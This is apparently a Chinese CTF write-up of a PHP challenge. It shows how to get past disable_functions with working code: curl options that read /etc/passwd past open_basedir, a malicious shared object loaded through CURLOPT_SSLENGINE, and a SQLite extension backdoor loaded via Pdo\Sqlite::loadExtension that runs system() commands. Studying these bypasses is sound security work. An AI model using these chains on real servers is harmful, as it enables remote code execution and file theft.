WebShell 免杀篇讲过”拿到 webshell ≠ 拿到 shell”:disable_functions 禁掉 system/exec 后怎么打?这篇复盘 XCTF Final 一道 PHP 赛题(PHP 8.5.0RC3)。
0x01 原理先修:disable_functions 到底防什么
它只禁 PHP 语言层面的内建函数调用,管不到 C 层面;绕过不是恢复被禁函数,而是绕开解释器、在 C/libc 层调 system()——外部扩展加载(ld 任意 so)。
0x02 非预期解:curl 的两次”没修干净”
第一次(PHP 8.3):官方只 ban 了 file://,但 CURLOPT_PROTOCOLS_STR 设 "all" 能重开协议——绕过 open_basedir 读任意文件:
$ch = curl_init("file:///etc/passwd");
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_exec($ch);
官方修复把 all 也上 ban 位——只堵了”协议”这一面。curl 加载动态库本就能 RCE(HackerOne #3293801):CURLOPT_SSLENGINE 的 so 会被 dlopen,__attribute__((constructor)) 加载瞬间执行:
#include <stdlib.h>
__attribute__((constructor))
static void rce_init(void){ system("whoami"); }
// g++ -fPIC -shared -o evil.so 1.cpp
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE, "/tmp/evil.so");
$data = curl_exec($ch); // 加载 so → constructor 执行 → RCE
这条链 8.5 官方镜像打不通、比赛环境能通——版本与补丁的差就是题眼。
0x03 预期解:Pdo\Sqlite::loadExtension
SQLite3::loadExtension()也能加载 so,但限制加载目录,不可控;- PHP 8.4+ 新增的
Pdo\Sqlite::loadExtension()文档没提目录限制——可控。
① 写”SQLite 扩展后门”:so 入口须叫 sqlite3_<名字>_init,加载时被调用;逻辑为”读文件执行”(/tmp/1.txt 存在时取首行 system):
#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1;
int sqlite3_exploit_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
SQLITE_EXTENSION_INIT2(pApi);
FILE *f = fopen("/tmp/1.txt", "r");
char buf[512] = {0};
if (f && fgets(buf, sizeof(buf), f)) {
buf[strcspn(buf, "\r\n")] = 0;
if (strlen(buf) > 0) system(buf); // libc 层调用,disable_functions 无感
}
return SQLITE_OK;
}
// gcc -fPIC -shared -o /tmp/exploit.so backdoor.c
② 触发加载:把 so 路径传给 Pdo\Sqlite::loadExtension('/tmp/exploit.so') → C 层 system() → 结果落盘回读。
0x04 复盘三点
- 边界=解释器边界——“加载 so”类绕过(curl SSLENGINE、SQLite 扩展、ImageMagick/FFmpeg)都是让 C 层调 system;
- 单点修复必留缝,要看”同类面还有几个”;
- 新特性=新攻击面,
Pdo\Sqlite::loadExtension文档滞后。